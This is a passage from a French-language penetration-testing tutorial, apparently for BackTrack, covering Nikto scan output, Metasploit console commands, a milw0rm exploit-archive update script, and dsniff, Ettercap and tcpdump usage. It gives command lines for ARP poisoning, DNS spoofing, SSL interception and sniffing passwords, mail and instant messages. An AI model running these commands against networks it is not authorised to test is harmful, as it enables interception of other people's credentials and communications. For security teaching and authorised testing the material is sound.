CLIOPTS permet de fixer des options de scan, vous pouvez donc scanner a votre facon (exemple -g) en decommentant la ligne et en enlevant le -a final.
NMAP vous permet d'utiliser nmap.
NMAPOPTS vous permet de specifier les options de nmap.
SKIPPORTS permet d'eviter de scanner certains ports.
SKIPIDS
DEFAULTHTTPVER permet le choix de la version HTTP.
PROXY STUFF permet de passer par un proxy en decommentant les lignes.
COOKIE STUFF permet d'envoyer un cookie à toutes les requêtes si nécessaire
Exemple d'utilisation
perl nikto.pl -h 192.168.0.1
Pour tester un port specifique, utiliser l'option -p (-port). Ceci va scanner l'IP 192.168.0.1 sur le port TCP 443:
perl nikto.pl -h 192.168.0.1 -p 443
Il n'y a pas besoin de specifier que le port 443 pourrait etre SSL, Nikto va d'abord tester le HTTP et si ça ne marche pas ensuite le HTTPS. Si vous êtes sur qu'il
s'agit s'un server SSL, vous pouvez spécifier l'option -s (-ssl), ca accelerera la vitesse du test.
Multiple Port Testing
perl nikto.pl -h 192.168.0.1 -p 80,88,443
Exemple concret
bt nikto # ./nikto.pl -e 1 -host hxxp://192.168.1.44/joomla12 -F txt -o monfile.txt
--------------------------------------------------------------------------- Nikto 2.01/2.01 - cirt.net
+ Target IP:
192.168.1.44
+ Target Hostname: joomla12
+ Target Port: 80
+ Using IDS Evasion: Random URI encoding (non-UTF8)
+ Start Time: 2008-09-16 10:26:17
--------------------------------------------------------------------------+ Server: Apache/2.2.3 (Debian) mod_python/3.2.10 Python/2.4.4 PHP/5.2.0-8+etch10 mod_perl/2.0.2 Perl/v5.8.8
+ No CGI Directories found (use '-C all' to force check all possible dirs)
- Root page / redirects to: hxxp://joomla12/apache2-default/
- Retrieved X-Powered-By header: PHP/5.2.0-8+etch10
+ /robots.txt - contains 13 'disallow' entries which should be manually viewed (added to mutation file lists) (GET).
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
+ OSVDB-877: HTTP method ('Allow' Header): 'TRACE' is typically only used for debugging and should be disabled. This message does not mean it is vulnerable
to XST.
+ PHP/5.2.0-8+etch10 appears to be outdated (current is at least 5.2.4)
+ Apache/2.2.3 appears to be outdated (current is at least Apache/2.2.6). Apache 1.3.39 and 2.0.61 are also current.
+ mod_python/3.2.10 appears to be outdated (current is at least 3.3.1)
+ PHP/5.2.0-8+etch10 appears to be outdated (current is at least 5.2.4)
+ mod_perl/2.0.2 appears to be outdated (current is at least 5.8.0)
+ OSVDB-0: GET /joomla12/help/ : Help directory should not be accessible
+ OSVDB-0: GET /joomla12/index.php?module=My_eGallery : My_eGallery prior to 3.1.1.g are vulnerable to a remote execution bug via SQL command
injection.
+ OSVDB-8193: GET /joomla12/index.php?module=ew_filemanager&type=admin&func=manager&pathext=../../../etc : EW FileManager for PostNuke allows
arbitrary file retrieval.
+ OSVDB-12184: GET /joomla12/index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 : PHP reveals potentially sensitive information via certain HTTP
requests which contain specific QUERY strings.
+ OSVDB-3092: GET /joomla12/administrator/ : This might be interesting...
+ OSVDB-3092: GET /joomla12/includes/ : This might be interesting...
+ OSVDB-3093: GET /joomla12/index.php?base=test%20 : This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: GET /joomla12/index.php?IDAdmin=test : This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: GET /joomla12/index.php?pymembs=admin : This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: GET /joomla12/index.php?SqlQuery=test%20 : This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: GET /joomla12/index.php?tampon=test%20 : This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: GET /joomla12/index.php?topic=&lt;script&gt;alert(document.cookie)&lt;/script&gt;%20 : This might be interesting... has been seen in web
logs from an unknown scanner.
+ OSVDB-3761: GET /joomla12/?pattern=/etc/*&sort=name : The TCLHttpd 3.4.2 server allows directory listings via dirlist.tcl.
+ 2963 items checked: 22 item(s) reported on remote host
+ End Time:
2008-09-16 10:27:08 (51 seconds)
--------------------------------------------------------------------------+ 1 host(s) tested
PÉNÉTRATION
#Métasploit
Metasploit est un projet qui rassemble tous les développeurs d'exploit qui partagent leurs découvertes à travers le monde, ce qui donne comme but à la
communauté d'améliorer et de rendre l'information des vulnérabilités plus ouvertes. Il contient donc une base de données, capable de simplifier les tests
d'intrusion sur des failles importantes. Pour information, elle contient :
Exploits : 274
Modules auxiliaires : 52
Payloads : 122
Encodeurs : 17
Générateur de Nops : 6
Pour permettre une liberté complète, il est doté d'un framework (écrit en Ruby), dont le but est de concevoir ou d'apporter des modifications aux exploits.
Cette page permet de regrouper les différents points importants, tels que la sélection d'exploits, l'entrée d'arguments (IP, port, tailles...), la sélection de
payload...etc Il existe deux manières de gérer ceci, soit par la console, à l'aide de msfconsole, soit par une interfaçe web msfweb (Plus simple à utiliser).
Version : 3.x
msfconsole
Commandes de base
* help (or '?')
– Affiche les commande msfconsole
* show exploits
– Affiche la liste des exploits disponible
* show payloads
– Affiche la liste des payloads disponible
* info exploit [exploit name] – Affiche des informations détaillé de l'exploit ainsi
que les différentes options disponible
* info payload [payload name] – Affiche des informations détaillé du payload ainsi
que les différentes options disponible
* use [exploit name]
– Charge l'environnement de l'exploit que msfconsole doit utilisé
* show options
– Affiche les options de l'exploit sélectionné par la commande "use"
* show payloads
– Affiche les payload compatible avec l'exploit sélectionné
par la commande "use"
* set PAYLOAD
– Permet de sélectionner un payload
* show targets
– Affiche la liste des OSs cible de l'exploit
* set TARGET
– Permet de spécifier l'OS cible
* set RHOST
– Permet de spécifier l'adresse IP de la cible
* set LHOST
– Permet de spécifier l'adresse IP local utilisé pour
le reverse commande shell
* back
– Décharge l'environnement de l'exploit sélectionné
msfweb
msfupdate
Permet la mise à jour du framework et des différents modules (utilise une connection SSL).
#Milworm Exploit
Milw0rm est un site aux multiples services. Tout d'abord il est connu pour ses nombreux exploits. Une archive de ces exploits est régulièrement mise à jour et
proposée en téléchargement. Il contient également un service de hash et de tutoriaux videos.
update-milw0rm
Les développeurs de Remote-Exploit ont mis au point un script shell permettant d'effectuer une mise à jours de l'archive.
Source
#!/bin/bash
echo "Downloading Exploit archive from Milw0rm"
wget http://www.milw0rm.com/sploits/milw0rm.tar.bz2
echo "Extracting Archive"
tar jxpf milw0rm.tar.bz2
rm milw0rm.tar.bz2
cd milw0rm
./makeindex-milw0rm
Utilisation
bt ~ # cd /pentest/exploits
bt exploits # update-milw0rm
makeindex-milw0rm
Dans l'archive se trouve un autre script shell des webmasters de Milw0rm, il permet de construire un index des exploits pour une navigation plus pratique.
Source
#!/bin/bash
echo "Generating Exploit List, please wait"
rm -rf sploitlist.txt
find . -xtype f >allfiles.txt
for file in $(cat allfiles.txt);do
echo $file $(head -1 $file|cut -d" " -f2-30)|grep -v CVS >>sploitlist.txt
done
rm allfiles.txt
echo "Done!"
echo 'You can "cat sploitlist.txt |grep -i exploit"'
Utilisation
bt exploits # cd milw0rm
bt milw0rm # makeindex-milw0rm
Navigation
bt milw0rm # cat sploitlist.txt | grep -i exploit
ESCALADE DE PRIVILÈGES
#Introduction au spoofing, sniffing, et aux brutes forceurs.
Les diverses attaques informatiques n'ont jamais été au sens propre très difficiles et complexes à pratiquer. Par contre, leur compréhension, leur conception,
et la programmation de leurs outils, sont difficiles. On ne peut attribuer de mérite à ceux qui en font des usages abusifs, sans savoir réellement ce qu'ils font.
Cette partie traite ainsi des outils disponibles pour mettre en place des attaques de type spoofing, sniffing, et brute force. Vous trouverez une explication sur
ces notions plus bas.
Le Spoofing
Le spoofing est une notion qui s'utilise dans plusieurs domaines informatiques. Elle peut ainsi comprendre plusieurs sens. De manière générale, elle s'identifie à
de la modification de données, dans le but de se faire passer pour quelqu'un d'autre. L'une des attaques de spoofing les plus connues, est celle du spoof
d'adresse IP. Il existe également les attaques de type Phishing, qui résultent d'une usurpation d'identité.
... (à suivre)
[Section Spoofing]
le Man In The Middle (MITM)
D'après Wikipédia :
L'attaque de l'homme du milieu (HDM) ou man in the middle attack (MITM) en cryptographie est une attaque dans laquelle l'attaquant est capable de lire,
insérer et modifier comme il le souhaite les messages chiffrés entre deux parties, sans que ni l'un ni l'autre ne puisse se douter que le canal de communication
entre eux a été compromis. L'attaquant doit d'abord être capable d'observer et d'intercepter les messages d'une victime à l'autre.
Ainsi, pour prendre un exemple, Bob et Alice croient discuter entre eux :
------ Msg 1 ----->
Alice
Bob
<---- Msg 2 -------Mais Mallory les écoute et modifie leur conversation :
--- Msg 1 ---\ /------- Msg #*?@ --->
Alice
Mallory
Bob
<-- Msg pouet ---/ \--- Msg 2 ------Arp Spoofing / Arp Redirect
Voir Wikipédia. (...)
Replay attack
Comme son nom l'indique, le principe de la "replay attack" consiste à rejouer un paquet.
L'assaillant intercepte un paquet valide sur le réseau. Il le renvoie au moment opportun afin d'obtenir des informations de la part du récepteur original du
paquet.
Le Phising
Le Sniffing
Le sniffing est certainement l'étape la plus importante pour compromettre un réseau. Celle-ci a pour but de récolter le maximum d'informations transitant sur
les réseaux (mots de passe, compte, information à potentiel...). En effet, toutes les informations qui se diffusent au travers d'un réseau peuvent être
interceptées. Il suffit alors qu'une communication entre deux ordinateurs s'effectue au travers de routeurs. Pour mettre en place ce genre d'attaque, les
logiciels de sniffing mettent la carte réseau en mode "promiscious" (ce mode n'est pas activé par défaut), c'est-à-dire à l'écoute de tout le trafic.
Le sniffing dépend de la disposition du réseau. Vous pourrez intercepter tout trafic dans un noeud réseau relié autour d'un Hub ( Équipement réseau qui
connecte plusieurs machines qui duplique le signal reçu à chacun de ses ports sur tous les autres ports, et donc tout les équipements connectés "entendent"
tous les signaux). En revanche, dans le cas d'un Switch ( Équipement réseau qui organise le trafic reçu de façon à adresser/organiser/aiguiller les paquets
seulement au destinataire concerné), vous ne pourrez récupérer le trafic qu'en vous interposant entre les deux communicants (MITM).
(schéma1 : Cas de figure avec un hub) (schéma2 : Cas de figure avec un switch)
[Section Sniffing]
Les Brutes Forces
Véritable casseur de mot de passe, ils portent un coup mortel à la sécurité. Les brutes forces agissent de façon multiple. Ces programmes s'utilisent soit à
distance, soit en local.
Il s'agit généralement de tenter (directement ou indirectement) toutes les combinaisons possibles jusqu'à trouver la bonne, notamment pour des mots de
passe, des clés, etc. (...)
Les hashs
Les rainbows tables
SNIFFING
Dsniff est à la fois une suite d’utilitaire et un utilitaire lui-même d’audit réseau permettant aisément de sniffer les passwords circulants en clair, dans des
protocoles non sécurisés.
Afin de ne pas vous perdre dans les différents programmes de sa suite, nous les regrouperons sur cette page.
Ainsi, Il détecte automatiquement les protocoles d’application, en capturant seulement les données intéressantes (Des mots clefs : pass, user,...). Elles
concernent les sessions FTP, telnet, SMTP, HTTP, POP, NNTP, IMAP, SNMP, LDAP, rlogin, RIP, OSPF, PPTP, AIM, IRC,...
Chacun de ses programmes a un but précis (capture de mail, de fichier, d'url...). Dsniff est beaucoup plus efficace à utiliser durant un MITM, c'est pourquoi on
le retrouve souvent utilisé en complément de Ettercap.
Version actuelle : 2.4
#Dsniff
Usage
dsniff [-cdmn] [-i interface | -p pcapfile] [-s snaplen]
[-f services] [-t trigger[,...]] [-r|-w savefile]
[expression]
Options
-c Perform half-duplex TCP stream reassembly, to handle asymmetrically routed traffic
(such as when using arpspoof(8) to intercept client traffic bound for the local gateway).
-d Activer le mode debug (ce qui détaille toutes les actions du logiciel).
-m Permet la détection automatique de protocole.
-n Ne pas résoudre les adresses ip en host.
-i interface
Utiliser l'interfaçe de la carte réseau interface pour écouter.
-s snaplen
Taille maximum en octet des données à extraire du paquet (1024 par défaut).
-f services
Focaliser la capture uniquement sur un service. Vous en avez la liste dans /etc/services
-r savefile
Lire un fichier de capture sauvegardé par dsniff (avec l'option -w)
-w file
Sauvegarde une session de capture
expression
Utilisez une expression de filtrage tcpdump
Exemples d'utilisation
Pour capturer tous les logins/pass circulant à travers sa carte réseau (notre interfaçe réseau est eth0) :
bt ~ # dsniff -i eth0
Pour les enregistrer dans un fichier :
bt ~ # dsniff -i eth0 -w pass.txt
Pour capturer tous les logins/pass du service ftp :
bt ~ # dsniff -i eth0 -f ftp
Axer le sniffing que sur une adresse du réseau grâce à une expression tcpdump (exemple 192.168.1.18)
bt ~ # dsniff src 192.168.1.18
#Filesnarf
Filesnarf permet de sniffer des fichiers qui transitent par le protocole NFS (NFSv4.1 aussi?). Celui-ci s'utilise simplement en ligne de commande.
Usage
filesnarf [-i interface | -p pcapfile] [[-v] pattern [expression]]
Options
-i interface
Spécifier l'interfaçe réseau à utiliser.
-v "Versus" mode. Invert the sense of matching, to select non-
matching files.
pattern
Spécifier un texte à filtrer dans la recherche de fichier
expression
Spécifier un filtre tcpdump pour sniffer le trafic
Exemples d'utilisation
Ecouter le réseau des échanges de fichier NFS sur l'interfaçe eth0:
bt ~ # filesnarf -i eth0
Utiliser une expression de tcpdump qui capture tous les paquets émis par 192.168.1.10 du protocole tcp, tout celà sur l'interfaçe rausb0
bt ~ # filesnarf -i rausb0 and src 192.168.1.10 and tcp
Rechercher tout document qui contient le texte "password", l'interfaçe n'est pas mentionné, filesnarf prendra automatiquement celle active.
bt ~ # filesnarf -v "password"
#Mailsnarf
Mailsnarf part du même principe que Filesnarf, sauf que celui-ci capture le courrier électronique des protocoles POP (Service pour récupurer ses mails : port
109/110) et SMTP (Service pour envoyer des mails : port 25).
Les options et les exemples d'utilisation sont les mêmes que Filesnarf
Usage
mailsnarf [-i interface | -p capfile] [[-v] pattern [expression]]
#Urlsnarf
Ulrsnarf va logguer toutes les requêtes visant le trafic HTTP. Il surveille par défault les ports 80, 8080, et 3128.
Les options, et exemples d'utilisation sont les mêmes que Filesnarf.
Usage
urlsnarf [-n] [-i interface | -p capfile] [[-v] pattern [expression]]
#Msgsnarf
Ce programme est capable d'enregistrer tous les messages privés envoyés à travers Instant Messenger d'AOL, ICQ, mais également des messages IRC, MSN
Messenger, et Yahoo Messenger.
Les options, et les exemples d'utilisation sont les mêmes que Filesnarf
Usage
msgsnarf [-i interface | -p capfile] [[-v] pattern [expression]]
#Webspy
Webspy est un petit outil, qui permet de capturer les sites web des requêtes HTTP visité par une machine sur le réseau dans le but de les relancer sur votre
navigateur. Vous pourrez voir la page en cours de visualisation de cette personne. Ceci à la condition de réaliser une attaque de type MITM (Man In The
Middle).
De plus ce dernier est limité en capacité. Prenons l'exemple que votre victime utilise un moteur de recherche, tous les liens de recherche envoyés par le
moteur de recherche seront considérés comme des pages visités (par exemple, le premier site qui arrive en tête de sa recherche s'ouvrira sur votre
navigateur). De plus, il fonctionne, dans la majeure partie des cas que sur les noms de domaine principaux.
Usage
webspy [-i interface | -p capfile] host
Options
-i interface
Activer l'interfaçe réseau interface
host Host réseau qu'on veut écouter
Exemples d'utilisation
L'exemple suivant, permet de visualiser en temps réelle les pages visitées d'une machine de notre réseau.(veillez à ouvrir votre navigateur avant).
bt ~ # webspy -i eth0 192.168.1.12
#Dnsspoof
Dnsspoof intercepte les requêtes DNS. Pour celà, il est nécessaire d'être dans un contexte de MITM. Ainsi il est possible de les modifier, en suggérant
simplement un fichier host (option -f)
Usage
dnsspoof [-i interface] [-f hostsfile] [expression]
Options
-i interface
Interfaçe réseau à utiliser
-f hostsfile
Indiquez un fichier au format host
Si aucun argument n'est spécifié, Les requêtes seront destinés à tous les adresses
du réseau. La redirection des réponses aura comme destinataire votre adresse local.
expression
Indiquez une expression tcpdump pour filtrer uniquement un trafic préçis
Exemples d'utilisation
Voir simplement les requête DNS à destination de la passerelle internet 192.168.1.1, en utilisant notre interfaçe wifi rausb0
dnsspoof -i rausb0 dst 192.168.1.1
Si on modifie notre fichier /etc/hosts, en insérant cette ligne :
84.16.87.28 *.remote-exploit.org
On peut remarquer que l'ip correspond à notre site http://www.backtrack-fr.net , ce dernier est associé à l'host remote-exploit.org. En lançant donc dnsspoof
de cette manière :
dnsspoof -i eth0 -f /etc/hosts dst 192.168.1.1
Toutes les requêtes à destination de 192.168.1.1 qui voudrons accéder à l'adresse remote-exploit.org, le serveur dns (en l'occurence ici il s'agit de notre fichier
hosts), renverra l'adresse ip de notre site.
#Arpspoof
Utilitaire qui "empoisonne" ses cibles en forgeant des paquets ARP contenant une fausse adresse de correspondance.
Usage
arpspoof [-i interface] [-t target] host
Options
-i interface
Interfaçe réseau à utiliser
-t target
Adresse de la cible à qui envoyer le paquet ARP empoisonné
host
Adresse de la cible à qui usurper l'identité.
Exemples d'utilisation
Utilisez l'interfaçe rausb0 pour empoisonner la passerelle du réseau (192.168.1.1) dans le but de rediriger tous les paquets à destination de 192.168.1.10 vers
sa propre machine.
arpspoof -i rausb0 -t 192.168.1.1 192.168.1.10
Dans la même optique, nous capturerons les paquets de la machine 192.168.1.10 à destination de 192.168.1.1.
arpspoof -i rausb0 -t 192.168.1.10 192.168.1.1
#Macof
Sshmitm
sshmitm [-d] [-I] [-p port] host [port]
#Webmitm
Webmitm est un petit proxy transparent, qui va relayer une connection http/https, tout en l'écoutant dans le but de capturer des données importantes
sécurisé (par SSL) telle que les mots de passe des services mails. Il va tromper la machine cible, en lui imposant un faux certificat. Il ne restera plus qu'à
déchiffré l'ensemble par le biais de ssldump par exemple.
Note : La première fois que vous lancez ce programme, il générera un certificat qui sera enregistré dans le répertoire courant (cf screen)
Usage
webmitm [-d] [host]
Options
-d Active le debugging
host
Host de destination vers lequel relayer les paquets.
Exemples d'utilisation
Capturer une communication https de façon transparente en activant le mode debugging.
webmitm –d
#Ettercap-ng
Ettercap est un utilitaire réseau aux multiples fonctionnalités. A sa naissance, l’utilisation la plus courante qu’on en faisait était de sniffer (capturer les paquets)
des réseaux LAN. Dorénavant, il est également possible de réaliser des attaques de type Man In The Middle (MITM ou "Homme au milieu" : voir Introduction
au spoofing, sniffing, et aux brutes forceurs.) (attaque comme l’hijacking TCP, le DNS Spoofing...).
Ettercap est doté de plugins facilitant la recherche de mots de passe. Pour cela, il suffit simplement qu’une session d’un protocole non sécurisé ait lieu, et
Ettercap détecte toutes les informations sensibles. De nombreux protocoles sont supportés (FTP, HTTP, telnet,...). Depuis l’intégration de module gérant le SSH
et les sessions HTML sécurisés (SSL), il est également possible de récupérer les mots de passe grâce à la méthode MITM.Il est également composé de fonctions
intéressantes sur le réseau comme l’injection de requêtes, soit à envoyer au client (pour par exemple garder une connexion active), soit à envoyer au serveur
(pour en tirer parti). On peut également réaliser des analyses d’hosts intéressantes et des identifications sur les machines (informations sur le système...etc)
C’est un projet libre, qui peut être utilisé au travers d’un mode graphique, et d'un mode texte simple, ou interactif avec des menus.
Version actuelle : 0.7.3
Mode graphique
Vous pouvez le lancer à partir de la ligne de commande :
bt ~ # ettercap -G
Le sniffing et les dissecteurs
Pour éviter de se noyer dans la masse des données capturés, Ettercap met en place des dissecteurs, c'est à dire des filtres qui gardent les paquets à potentiel,
tel que les mots de passe et les identifiants. Vous pouvez également créer les vôtres.
Les plugins
Informations disponibles sur le réseau
Beaucoup de protocoles utilisent des systèmes de communications non sécurisés : le telnet , le FTP , et certains sites HTTP ne sont pas du tout protégés et les
mots de passe circulent en clair. De plus , l'implémentation du remplacement d'un certificat permet de sniffer les sessions SSL.
Cas du Man In The Middle ou MITM
Ettercap-ng a surtout été développé pour mettre en place rapidement et efficacement une attaque du type Man In The Middle.
Arp Poisoning
Il faut en premier lieu spécifier ce que l'on souhaite "sniffer" : pour ce faire , dérouler le menu "sniff" et choisir son mode :
Unified : sur une seul carte réseau
Bridged : sur deux cartes réseau
Afin de réaliser de l'ARP Poisoning, il faut tout d'abord scanner la plage IP correspondant au réseau local du poste, afin de déterminer les hôtes en ligne. Le
bouton Scan for Host réalisera cette action.
Les hôtes en ligne seront alors ajoutés dans la Host List. Target1 et Target2 représentent la liste des ordinateurs entres lesquels nous allons nous immiscer.
Ajoutez au moins une IP dans chacune de ces deux listes.
Pour commencer l'attaque , on sélectionne ARP Poisoning dans le menu Mitm.
Pensez aussi à l'utiliser avec d'autres outils ainsi qu'avec les plugins :
Le plugin chk_poison vous indiquera si l'arp poisoning fonctionne bien ce qui est fort appréciable.
Le plugin dns_spoof va permettre de rediriger une url sur celle que l'on veut (remplacer microsoft.com par celle souhaité léa linux; linux france...)
Vous pouvez aussi rediriger sur votre serveur apache en local (rappel: menu kde,service, httpd, start httpd). Ici on va placer dans notre fichier DNS notre
adresse ip locale pour rediriger vers le serveur apache.
Il y a aussi l'abaissement de niveau qui est fort intéressant comme plugin...
Une utilisation de ettercap-ng couplé à driftnet en wifi est vraiment intéressante puisque vous pouvez observer les images et la vidéo (mpeg) de la victime (+
sauvegarde si désiré).
Pour les connections sécurisés (tel que GMail) pensez à décommenter les iptables dans votre fichier de configuration etter.conf
Icmp redirect
#Ipgrab
Ipgrab permet d'analyser les trames qui circulent sur une interface réseau. Il fonctionne sur le même principe que Wireshark mais tout se fait dans un shell.
Installation
apt-get install ipgrab
Usage
ipgrab [ -abcCdilmnPprTtwxhv ]
Options
[ -a ] (type=FLAG)
Don't print application layer data
[ -b ] (type=FLAG)
Make stdout buffered
[ -c ] [ --count ] (type=INTEGER, range=1...,)
Exit after receiving 'count' packets
[ -d ] (type=FLAG)
Dump padding if any exists
[ -i ] [ --interface ] (type=STRING)
Listen on interface 'interface'
[ -l ] (type=FLAG)
Don't print link-layer headers
[ -m ] (type=FLAG)
Minimal output
[ -n ] (type=FLAG)
Don't print network-layer headers
[ -P ] (type=STRING)
Dynamic port mapping (usage: 'protocol=port')
[ -p ] (type=FLAG)
Display unknown application payloads in hex
[ -r ] (type=STRING)
Read from file rather than interface
[ -T ] (type=FLAG)
Don't print timestamps in minimal mode
[ -t ] (type=FLAG)
Don't print transport-layer headers
[ -w ] (type=STRING)
Write the raw packets to a file
[ -x ] (type=FLAG)
Display hex dump of each field
[ -h ] [ --help ] (type=FLAG)
Afficher l'aide
[ -v ] [ --version ] (type=FLAG)
Afficher la version
#Tcpick
Installation
apt-get install tcpick
Usage
tcpick [ -a ] [ -n ] [ -C ]
[ -e count ]
[ -i interface | -r file ]
[ -X timeout ]
[ -D ] [ -F1 | F2 ]
[ -yH | -yP | -yR | -yU | -yx | -yX ]
[ -bH | -bP | -bR | -bU | -bx | -bX ]
[ -wH[ub] | -wP[ub] | -wR[ub] | -wU[ub] ]
[ -v [ verbosity ]] [ -S ] [ -h]
[ --separator ]
[ -T | -Tf [ number ]]
[ -E [ -Ef [ number ]]
[ -Pc | -Ps ]
[ "filter" ]
[ --help ] [ --version ]
#TCPDump
TCPDump est un Sniffer réseau puissant fonctionnant en ligne de commande.
Usage
tcpdump [-aAdDeflLnNOpqRStuUvxX] [ -B size ] [ -c count ]
[ -C file_size ] [ -E algo:secret ] [ -F file ]
[ -i interface ] [ -M secret ] [ -r file ]
[ -s snaplen ] [ -T type ] [ -w file ] [ -W filecount ]
[ -y datalinktype ] [ -z command ] [ -Z user ]
[ expression ]
TcpDump affiche l'en-têtes des paquets d'une interface réseau qui correspondent à une expression booléenne. Il peut également être exécuté avec l'option -w,
ce qui permet de sauvegarder les données dans un fichier pour une analyse ultérieur, et/ou avec le paramètre -b qui à pour but de lire un fichier enregistré.
Dans tout les cas, seuls les paquets qui correspondent à l'expression seront traitées par TcpDump.
Si Tcpdump n'est pas utilisé avec l'option -c il va capturer les paquets jusqu'à être interrompue par le signal SIGINT (obtenue généralement avec ctrl+c) ou
encore avec un signal SIGTERM (obtenue avec la commande kill). Si l'option -c est utilisé, TcpDump capture les paquets jusqu'à ce qu'il soit interrompue par un
signal SIGINT ou SIGTERM ou lorsque que le nombre de paquets est atteint.
Options
-A
Essaie de convertir les adresses réseau et de diffusion en noms.
-c
Quitte après la réception de n paquets.
-C
-dd
-dddd
-e
-E
-f
-F
-i
-l
-m
-N
-O
-p
-q
-R
-r
-S
-s
-T
-t
-tt
-ttt
-tttt
-v
-vv
-vvv
-w
-x
-X
Format de sortie
Exemple
Autres Exemples
Pour suivre ces exemples, il vous faudra ouvrir 2 consoles: une pour TCPDump, l'autre pour les programmes relatifs à nos tests.
Envois de 2 Ping à une Freebox V5
Mise en écoute:
bt ~ # tcpdump -vv -c 12 -i eth0
Envoi des PINGs:
bt ~ # ping -c 2 -i 0.5 -s 512 -t 64 192.168.0.254
PING 192.168.0.254 (192.168.0.254) 512(540) bytes of data.
520 bytes from 192.168.0.254: icmp_seq=1 ttl=64 time=1.07 ms
520 bytes from 192.168.0.254: icmp_seq=2 ttl=64 time=0.884 ms
--- 192.168.0.254 ping statistics --2 packets transmitted, 2 received, 0% packet loss, time 500ms
rtt min/avg/max/mdev = 0.884/0.979/1.074/0.095 ms
Résultats:
tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 96 bytes
02:14:32.987010 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto: ICMP (1), length: 540) 192.168.0.1 > 192.168.0.254: ICMP echo request, id 36644, seq 1,
length 520
02:14:32.987913 IP (tos 0x0, ttl 64, id 25991, offset 0, flags [none], proto: ICMP (1), length: 540) 192.168.0.254 > 192.168.0.1: ICMP echo reply, id 36644, seq
1, length 520
02:14:33.487283 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto: ICMP (1), length: 540) 192.168.0.1 > 192.168.0.254: ICMP echo request, id 36644, seq 2,
length 520
02:14:33.488164 IP (tos 0x0, ttl 64, id 25992, offset 0, flags [none], proto: ICMP (1), length: 540) 192.168.0.254 > 192.168.0.1: ICMP echo reply, id 36644, seq
2, length 520
02:14:35.541502 arp who-has 192.168.0.4 tell 192.168.0.254
02:14:36.541503 arp who-has 192.168.0.4 tell 192.168.0.254
02:14:37.541538 arp who-has 192.168.0.4 tell 192.168.0.254
02:14:37.981217 arp who-has 192.168.0.1 tell 192.168.0.254
02:14:37.981236 arp reply 192.168.0.1 is-at 00:11:d8:39:4c:00 (oui Unknown)
...
12 packets captured
24 packets received by filter
0 packets dropped by kernel
Scan Nmap de type Services detection sur le port n°25
Mise en écoute:
tcpdump -vv -c 24 -i eth0
Scan et service detection du port n°25 avec nmap:
bt ~ # nmap -vv -sV -p25 127.0.0.1
Starting Nmap 4.20 ( http://insecure.org ) at 2007-08-03 02:32 CEST
Initiating SYN Stealth Scan at 02:32
Scanning bt.example.net (127.0.0.1) [1 port]
Discovered open port 25/tcp on 127.0.0.1
Completed SYN Stealth Scan at 02:32, 0.01s elapsed (1 total ports)
Initiating Service scan at 02:32
Scanning 1 service on bt.example.net (127.0.0.1)
Completed Service scan at 02:32, 0.00s elapsed (1 service on 1 host)
Host bt.example.net (127.0.0.1) appears to be up ... good.
Interesting ports on bt.example.net (127.0.0.1):
PORT STATE SERVICE VERSION
25/tcp open smtp Sendmail 8.13.8/8.13.8
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at http://insecure.org/nmap/submit/ .
Nmap finished: 1 IP address (1 host up) scanned in 0.086 seconds
Raw packets sent: 1 (44B) | Rcvd: 2 (88B)
Résulats:
tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 96 bytes
02:01:51.723315 IP (tos 0x0, ttl 58, id 24152, offset 0, flags [none], proto: TCP (6), length: 44) localhost.57736 > localhost.smtp: S, cksum 0x39aa (correct),
2584926405:2584926405(0) win 3072 <mss 1460>
02:01:51.723564 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto: TCP (6), length: 44) localhost.smtp > localhost.57736: S, cksum 0xdec3 (correct),
772046432:772046432(0) ack 2584926406 win 32792 <mss 16396>
02:01:51.723585 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto: TCP (6), length: 40) localhost.57736 > localhost.smtp: R, cksum 0x5d63 (correct),
2584926406:2584926406(0) win 0
02:01:51.817021 IP (tos 0x0, ttl 64, id 58919, offset 0, flags [DF], proto: TCP (6), length: 60) localhost.healthd > localhost.smtp: S, cksum 0x5238 (correct),
762270708:762270708(0) win 32792 <mss 16396,sackOK,timestamp 17413587 0,nop,wscale 2>
02:01:51.817044 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto: TCP (6), length: 60) localhost.smtp > localhost.healthd: S, cksum 0x4e9b (correct),
769269485:769269485(0) ack 762270709 win 32768 <mss 16396,sackOK,timestamp 17413587 17413587,nop,wscale 2>
02:01:51.817060 IP (tos 0x0, ttl 64, id 58920, offset 0, flags [DF], proto: TCP (6), length: 52) localhost.healthd > localhost.smtp: ., cksum 0x17b5 (correct), 1:1(0)
ack 1 win 8198 <nop,nop,timestamp 17413587 17413587>
02:01:51.820203 IP (tos 0x0, ttl 64, id 43837, offset 0, flags [DF], proto: TCP (6), length: 133) localhost.smtp > localhost.healthd: P 1:82(81) ack 1 win 8192
<nop,nop,timestamp 17413588 17413587>
02:01:51.820223 IP (tos 0x0, ttl 64, id 58921, offset 0, flags [DF], proto: TCP (6), length: 52) localhost.healthd > localhost.smtp: ., cksum 0x1762 (correct), 1:1(0)
ack 82 win 8198 <nop,nop,timestamp 17413588 17413588>
02:01:51.821374 IP (tos 0x0, ttl 64, id 58922, offset 0, flags [DF], proto: TCP (6), length: 52) localhost.healthd > localhost.smtp: F, cksum 0x1761 (correct),
1:1(0) ack 82 win 8198 <nop,nop,timestamp 17413588 17413588>
02:01:51.821596 IP (tos 0x0, ttl 64, id 43838, offset 0, flags [DF], proto: TCP (6), length: 52) localhost.smtp > localhost.healthd: F, cksum 0x1766 (correct),
82:82(0) ack 2 win 8192 <nop,nop,timestamp 17413588 17413588>
02:01:51.821606 IP (tos 0x0, ttl 64, id 58923, offset 0, flags [DF], proto: TCP (6), length: 52) localhost.healthd > localhost.smtp: ., cksum 0x1760 (correct), 2:2(0)
ack 83 win 8198 <nop,nop,timestamp 17413588 17413588>
...
24 packets captured
48 packets received by filter
0 packets dropped by kernel
#Wireshark
